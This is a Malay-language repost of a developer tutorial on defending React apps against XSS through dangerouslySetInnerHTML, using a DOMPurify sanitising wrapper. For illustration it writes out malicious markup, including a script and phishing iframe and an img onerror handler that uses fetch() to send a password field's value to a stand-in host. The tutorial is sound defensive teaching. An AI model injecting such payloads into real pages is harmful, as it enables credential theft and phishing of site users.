Rumah >hujung hadapan web >tutorial js >Kurangkan eksploitasi XSS apabila menggunakan React's `dangerously SetInnerHTML`

Kurangkan eksploitasi XSS apabila menggunakan React's `dangerously SetInnerHTML`

DDD
DDDasal
2024-09-13 06:35:32891semak imbas

Mitigate XSS exploits when using React

Imej muka depan oleh Lautaro Andreani

...

TL: DR; Membutakan lambakan kandungan ke dalam SetInnerHTML yang berbahaya adalah betul - berbahaya. Pastikan anda membersihkan sebarang input yang anda hantar kepada SetInnerHTML secara berbahaya melainkan anda mempunyai kawalan eksplisit ke atas input tersebut.

Komponen berikut berfungsi sebagai contoh mudah untuk mengurangkan risiko serangan XSS melalui SetInnerHTML yang berbahaya:

//https://github.com/cure53/DOMPurify
import React from "react";
import DOMPurify from "dompurify";

const sanitize = (dirty) => DOMPurify.sanitize(dirty);

const DangerousHtml = ({ innerHTML, tag }) => {
  const clean = sanitize(innerHTML);

  if (typeof tag === "undefined") {
    return <div dangerouslySetInnerHTML={{ __html: clean }} />;
  }
  return <tag dangerouslySetInnerHTML={{ __html: clean }} />;
};

export default DangerousHtml;

Dengan menggunakan komponen DangerousHtml yang dipesan lebih dahulu, kami boleh mengurangkan secara mendadak risiko eksploitasi XSS sambil kami membersihkan input kami sebelum ia sampai ke prop SetInnerHTML yang berbahaya sebenarnya

DOMPurify juga sangat boleh dikonfigurasikan, jadi mungkin anda ingin mempunyai berbilang komponen seperti contoh kami untuk mengendalikan kes penggunaan tertentu atau membenarkan beberapa contoh di bawah secara eksplisit.

Di bawah ialah beberapa contoh ringkas tentang cara eksploitasi boleh berlaku:

Mengeksploitasi Teg iFrame dan Skrip

XSS boleh dilakukan kerana React tidak akan menanggalkan teg skrip yang menunjukkan muatan berniat jahat.

Kami juga tidak sepatutnya melepasi iFrames dengan cara ini. Sebaliknya, kita harus menyerahkan URL dan mana-mana atribut "selamat" lain sebagai prop dan menjadikannya sendiri dalam teg iFrame untuk mengekalkan kawalan kebolehan dan sumber pemaparannya, atau mempunyai komponen iFrame khusus.

Sebagai contoh, pertimbangkan untuk mengikuti markup berniat jahat yang kami terima daripada permintaan API. Jika kami menetapkannya secara membuta tuli melalui berbahaya​SetInnerHTML, kami akan memberikan pengguna output ini:

// Bad markup going in
<div
  dangerouslySetInnerHTML={{
    __html: `<p>
  Hi
  <script src="https://example.com/malicious-tracking"></script>
  Fiona, here is the link to enter your bank details:
  <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
</p>`,
  }}
/>
<!-- Bad markup rendered on the DOM -->
<div>
  <p>
    Hi
    <script src="https://example.com/malicious-tracking"></script>
    Fiona, here is the link to enter your bank details:
    <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
  </p>
</div>

Walau bagaimanapun, sebaliknya menggunakan komponen DangerousHTML kami, bermakna kami telah mengurangkan sebahagian besar risiko yang mungkin dihadapi oleh pengguna:

// Bad markup going in
<DangerousHtml
  innerHTML={`<p>
  Hi
  <script src="https://example.com/malicious-tracking"></script>
  Fiona, here is the link to enter your bank details:
  <iframe src="https://example.com/defo-not-the-actual-bank"></iframe>
</p>`}
/>
<!-- Clean markup rendered on the DOM -->
<div>
  <p>Hi Fiona, here is the link to enter your bank details:</p>
</div>

Fiona mungkin menganggap tapak web tersebut rosak atau tiada kandungan atas sebab tertentu - tetapi ini masih lebih baik daripada dipancing untuk mendapatkan butiran bank mereka!

Manipulasi atribut/keracunan

Sesetengah elemen DOM mempunyai sifat khas yang boleh kita salah guna yang patut kita lindungi diri kita daripadanya.

Dalam contoh ini, kita boleh menjalankan beberapa JS pada teg's onerror.

Sebagai contoh, diberikan perkara berikut:

// Bad markup going in
<div
  dangerouslySetInnerHTML={{
    __html: `
<p>
  Hola
  <img
    src='none.png'
    onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
  />
  Sharon
</p>`,
  }}
/>
<!-- Bad markup rendered on the DOM -->
<div>
  <p>
    Hola
    <img
      src="none.png"
      onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
    />
    Sharon
  </p>
</div>

Dalam keadaan ini, markup beracun kami mencuri data daripada DOM apabila permintaan imej akhirnya gagal dan pengguna tidak akan tahu.

Kami boleh mengurangkan ini sekali lagi dengan komponen DangerousHtml kami

// Bad markup going in
<DangerousHtml
  innerHTML={`
<p>
  Hola
  <img
    src='none.png'
    onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);'
  />
  Sharon
</p>`}
/>
<!-- Clean markup rendered on the DOM -->
<div>
  <p>
    Hola
    <img src="none.png" />
    Sharon
  </p>
</div>

Memandangkan hujah bahawa kami mungkin benar-benar ingin melaksanakan beberapa JS untuk menunjukkan imej sandaran, kami sekali lagi tidak seharusnya mempercayai HTML mentah dan tidak bersih untuk melakukan ini untuk kami dan lebih baik diberikan sama ada mempunyai fallbackImageURL atau onError prop yang kami boleh menambah secara eksplisit pada tag imej kami seperti:

// Usual imports
const MyImageComponent = ({ fallbackUrl, url }) => {
  // Usual component setup

  const displayFallbackImage = (evt) => {
    // If there is no fallback, do nothing
    if (!fallbackUrl) return;

    // set the url to the fallbackUrl
    evt.target.src = fallbackUrl;
  };

  return (
    <img
      src={url}
      onerror={displayFallbackImage}
      // ... any other props
    />
  );
};

...

Artikel asal: https://timbryan.dev/posts/react-xss-via-dangerouslySetInnerHtml

Atas ialah kandungan terperinci Kurangkan eksploitasi XSS apabila menggunakan React's `dangerously SetInnerHTML`. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn